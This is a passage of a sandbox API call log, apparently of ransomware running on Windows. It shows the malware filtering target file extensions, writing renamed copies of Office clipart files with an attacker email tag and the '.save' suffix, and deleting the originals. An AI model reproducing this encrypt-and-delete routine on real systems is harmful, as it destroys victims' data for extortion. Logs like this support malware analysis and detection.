[0174.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0174.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 1 [0174.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.585] lstrlenW (lpString=".doc") returned 4 [0174.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.586] lstrlenW (lpString=".docx") returned 5 [0174.586] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.586] lstrlenW (lpString=".pdf") returned 4 [0174.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.586] lstrlenW (lpString=".xls") returned 4 [0174.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.586] lstrlenW (lpString=".xlsx") returned 5 [0174.586] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.586] lstrlenW (lpString=".ppt") returned 4 [0174.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.586] lstrlenW (lpString=".zip") returned 4 [0174.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.586] lstrlenW (lpString=".rar") returned 4 [0174.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.586] lstrlenW (lpString=".bz2") returned 4 [0174.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.586] lstrlenW (lpString=".7z") returned 3 [0174.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.586] lstrlenW (lpString=".dbf") returned 4 [0174.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.586] lstrlenW (lpString=".1cd") returned 4 [0174.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.586] lstrlenW (lpString=".jpg") returned 4 [0174.586] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.587] lstrlenW (lpString=".doc") returned 4 [0174.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0174.587] lstrlenW (lpString=".docx") returned 5 [0174.587] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0174.587] lstrlenW (lpString=".pdf") returned 4 [0174.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0174.587] lstrlenW (lpString=".xls") returned 4 [0174.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0174.587] lstrlenW (lpString=".xlsx") returned 5 [0174.587] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0174.587] lstrlenW (lpString=".ppt") returned 4 [0174.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0174.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.587] lstrlenW (lpString=".zip") returned 4 [0174.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0174.587] lstrlenW (lpString=".rar") returned 4 [0174.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0174.587] lstrlenW (lpString=".bz2") returned 4 [0174.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0174.587] lstrlenW (lpString=".7z") returned 3 [0174.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0174.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.587] lstrlenW (lpString=".dbf") returned 4 [0174.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0174.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.587] lstrlenW (lpString=".1cd") returned 4 [0174.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0174.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF") returned 68 [0174.587] lstrlenW (lpString=".jpg") returned 4 [0174.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0174.588] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0174.588] lstrlenW (lpString="J0107492.WMF") returned 12 [0174.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378 [0174.747] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=6860) returned 1 [0174.747] CloseHandle (hObject=0x378) returned 1 [0174.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 0x220 [0175.424] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0175.944] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.944] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0175.945] GetLastError () returned 0x0 [0175.945] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1acc, lpOverlapped=0x0) returned 1 [0175.947] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0175.948] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.948] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0175.948] SetEndOfFile (hFile=0x538) returned 1 [0175.948] CloseHandle (hObject=0x538) returned 1 [0175.949] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.949] SetEndOfFile (hFile=0x518) returned 1 [0175.951] CloseHandle (hObject=0x518) returned 1 [0175.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.952] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 1 [0175.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.953] lstrlenW (lpString=".doc") returned 4 [0175.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.953] lstrlenW (lpString=".docx") returned 5 [0175.953] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0175.953] lstrlenW (lpString=".pdf") returned 4 [0175.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.953] lstrlenW (lpString=".xls") returned 4 [0175.953] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.953] lstrlenW (lpString=".xlsx") returned 5 [0175.953] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0175.953] lstrlenW (lpString=".ppt") returned 4 [0175.953] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.953] lstrlenW (lpString=".zip") returned 4 [0175.953] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.953] lstrlenW (lpString=".rar") returned 4 [0175.953] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.953] lstrlenW (lpString=".bz2") returned 4 [0175.953] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.953] lstrlenW (lpString=".7z") returned 3 [0175.953] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.954] lstrlenW (lpString=".dbf") returned 4 [0175.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.954] lstrlenW (lpString=".1cd") returned 4 [0175.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.954] lstrlenW (lpString=".jpg") returned 4 [0175.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.954] lstrlenW (lpString=".doc") returned 4 [0175.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.954] lstrlenW (lpString=".docx") returned 5 [0175.954] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0175.954] lstrlenW (lpString=".pdf") returned 4 [0175.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.954] lstrlenW (lpString=".xls") returned 4 [0175.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.954] lstrlenW (lpString=".xlsx") returned 5 [0175.954] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0175.954] lstrlenW (lpString=".ppt") returned 4 [0175.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.954] lstrlenW (lpString=".zip") returned 4 [0175.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.954] lstrlenW (lpString=".rar") returned 4 [0175.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.954] lstrlenW (lpString=".bz2") returned 4 [0175.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.954] lstrlenW (lpString=".7z") returned 3 [0175.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.955] lstrlenW (lpString=".dbf") returned 4 [0175.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.955] lstrlenW (lpString=".1cd") returned 4 [0175.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0175.955] lstrlenW (lpString=".jpg") returned 4 [0175.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.955] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0175.955] lstrlenW (lpString="J0107496.WMF") returned 12 [0175.955] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0175.956] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=8864) returned 1 [0175.957] CloseHandle (hObject=0x518) returned 1 [0175.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 0x220 [0175.957] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.957] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0175.958] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.958] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0175.959] GetLastError () returned 0x0 [0175.959] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x22a0, lpOverlapped=0x0) returned 1 [0175.960] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0175.962] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.962] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0175.962] SetEndOfFile (hFile=0x538) returned 1 [0175.962] CloseHandle (hObject=0x538) returned 1 [0175.962] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.962] SetEndOfFile (hFile=0x518) returned 1 [0175.966] CloseHandle (hObject=0x518) returned 1 [0175.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.967] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 1 [0175.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.967] lstrlenW (lpString=".doc") returned 4 [0175.967] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.967] lstrlenW (lpString=".docx") returned 5 [0175.968] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0175.968] lstrlenW (lpString=".pdf") returned 4 [0175.968] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.968] lstrlenW (lpString=".xls") returned 4 [0175.968] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.968] lstrlenW (lpString=".xlsx") returned 5 [0175.968] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0175.968] lstrlenW (lpString=".ppt") returned 4 [0175.968] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.968] lstrlenW (lpString=".zip") returned 4 [0175.968] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.968] lstrlenW (lpString=".rar") returned 4 [0175.968] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.968] lstrlenW (lpString=".bz2") returned 4 [0175.968] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.968] lstrlenW (lpString=".7z") returned 3 [0175.968] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.968] lstrlenW (lpString=".dbf") returned 4 [0175.968] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.968] lstrlenW (lpString=".1cd") returned 4 [0175.968] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.968] lstrlenW (lpString=".jpg") returned 4 [0175.968] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.968] lstrlenW (lpString=".doc") returned 4 [0175.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0175.968] lstrlenW (lpString=".docx") returned 5 [0175.969] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0175.969] lstrlenW (lpString=".pdf") returned 4 [0175.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0175.969] lstrlenW (lpString=".xls") returned 4 [0175.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0175.969] lstrlenW (lpString=".xlsx") returned 5 [0175.969] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0175.969] lstrlenW (lpString=".ppt") returned 4 [0175.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0175.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.969] lstrlenW (lpString=".zip") returned 4 [0175.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0175.969] lstrlenW (lpString=".rar") returned 4 [0175.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0175.969] lstrlenW (lpString=".bz2") returned 4 [0175.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0175.969] lstrlenW (lpString=".7z") returned 3 [0175.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0175.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.969] lstrlenW (lpString=".dbf") returned 4 [0175.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0175.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.969] lstrlenW (lpString=".1cd") returned 4 [0175.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0175.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0175.969] lstrlenW (lpString=".jpg") returned 4 [0175.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0175.969] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0175.969] lstrlenW (lpString="J0107500.WMF") returned 12 [0175.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0175.970] GetFileSizeEx (in: hFile=0x518, lpFileSize=0x2d6ff14 | out: lpFileSize=0x2d6ff14*=4200) returned 1 [0175.970] CloseHandle (hObject=0x518) returned 1 [0175.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 0x220 [0175.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0175.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x518 [0175.971] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.971] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0175.972] GetLastError () returned 0x0 [0175.972] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x1068, lpOverlapped=0x0) returned 1 [0175.974] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0x1070, lpOverlapped=0x0) returned 1 [0175.975] ReadFile (in: hFile=0x518, lpBuffer=0x3642020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1 [0175.975] WriteFile (in: hFile=0x538, lpBuffer=0x3642020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3642020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1 [0175.975] SetEndOfFile (hFile=0x538) returned 1 [0175.975] CloseHandle (hObject=0x538) returned 1 [0175.975] SetFilePointerEx (in: hFile=0x518, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1 [0175.975] SetEndOfFile (hFile=0x518) returned 1 [0175.978] CloseHandle (hObject=0x518) returned 1 [0175.978] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0175.979] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 1 [0175.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0175.980] lstrlenW (lpString=".doc") returned 4 [0175.980] 